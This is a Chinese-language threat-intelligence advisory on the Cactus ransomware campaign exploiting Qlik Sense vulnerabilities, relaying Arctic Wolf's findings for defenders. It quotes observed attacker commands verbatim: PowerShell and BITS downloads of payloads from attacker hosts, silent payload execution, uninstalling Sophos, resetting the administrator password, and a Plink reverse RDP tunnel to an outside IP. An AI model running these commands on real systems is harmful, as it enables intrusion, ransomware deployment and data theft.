資安威脅趨勢 - 資料分析系統Qlik Sense重大漏洞遭到勒索軟體Cactus攻擊

                                                                                 

資料分析系統Qlik Sense重大漏洞遭到勒索軟體Cactus攻擊

一、摘要

         資安業者Arctic Wolf揭露近期的勒索軟體Cactus攻擊行動，駭客鎖定資料分析系統Qlik Sense的漏洞CVE-2023-41265、CVE-2023-41266、CVE-2023-48365（CVSS風險評分介於8.2至9.9），於目標系統執行程式碼，以及利用PowerShell和背景智慧型傳送服務（BITS）下載其他作案工具，並進行遠端控制。

二、存在風險

        駭客鎖定資料分析系統Qlik Sense的漏洞CVE-2023-41265、CVE-2023-41266、CVE-2023-48365（CVSS風險評分介於8.2至9.9），於目標系統執行程式碼。

根據調查發現，遭到利用的Qlik Sense都呈現出相同的攻擊鏈，其涉及到 Qlik Sense Scheduler 服務（Scheduler.exe）生成的不尋常進程，如下所示：

• 指令：CurrentDirectory”:”C:\\Program Files\\Qlik\\Sense\\Scheduler\\
• 指令：ParentImage”:”C:\\Program Files\\Qlik\\Sense\\Scheduler\\Scheduler.exe
• 指令：CommandLine”:”C:\\Windows\\System32\\cmd.exe /c powershell iwr -uri http://zohoservice[.]net/putty.zip -OutFile c:\\windows\\temp\\putty.exe”    

攻擊者為了建立持久性以及確保可以遠端控制，利用PowerShell和背景智慧型傳送服務（BITS）下載了額外的工具來達到目的，駭客於此階段實施之項目如下：

1. 將ManageEngine UEMS的執行檔重新命名並利用ZIP來偽裝成Qlik檔案，這些檔案被下載並重新命名之後，駭客會於滲透階段進行安裝。
2. 駭客嘗試從anydesk.com下載anydesk。
3. 被下載下來的Plick(Putty Link) binary會被重新命名為putty.exe。

• 指令：powershell iwr -URI 'http://216.107.136.46/Qliksens_updated.zip' -OutFile 'C:\Windows\appcompat\AcRes.exe'
• 指令：C:\Windows\appcompat\AcRes.exe /silent
• 指令：powershell  start-bitstransfer -source  http://zohoservice.net/qlik-sens-nov.zip -outfile c:\\windows\\temp\\Qliksens.exe
• 指令：powershell Invoke-WebRequest https://download.anydesk.com/AnyDesk.exe -OutFile c:\windows\temp\file.exe
• 指令：powershell  wget  'http://zohoservice.net/anydesk.zip' -outfile 'c:\\windows\\temp\\any.exe'
• 指令：powershell iwr -uri http://zohoservice.net/putty.zip -OutFile c:\windows\temp\putty.exe
• 指令：powershell Invoke-WebRequest https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -OutFile C:\\windows\\temp\\putty.exe 

更進一步觀察，也發現攻擊者使用了msiexec解除安裝Sophos和更改了設備端Administrator的密碼，以及透過Plink來建立RDP隧道。

• 指令：MsiExec.exe /X{5C28F8A0-4BCB-4267-A869-2D589DF264F1} /qn > ../Client/qmc/fonts/qle.ttf
• 指令：net user administrator Linux.110.110@123 > ../Client/qmc/fonts/qle.ttf
• 指令：echo y "^"| c:\windows\temp\putty.exe -ssh -P 443 -l admin -pw  -R 45.61.147.176:50400:127.0.0.1:3389 45.61.147.176 

 此外，駭客也利用WizTree、rclone來分析、竊取伺服器的資料。

        建議改善措施：

1. 定期更新重要伺服器。
2. 於漏洞未修補期間，可採用白名單方式，僅允許特定來源存取，藉以降低遭到入侵的機率。
3. 儘速導入雲智維服務，進行資安威脅情資偵測與聯防，降低企業資安風險。

        情資報告連結：https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/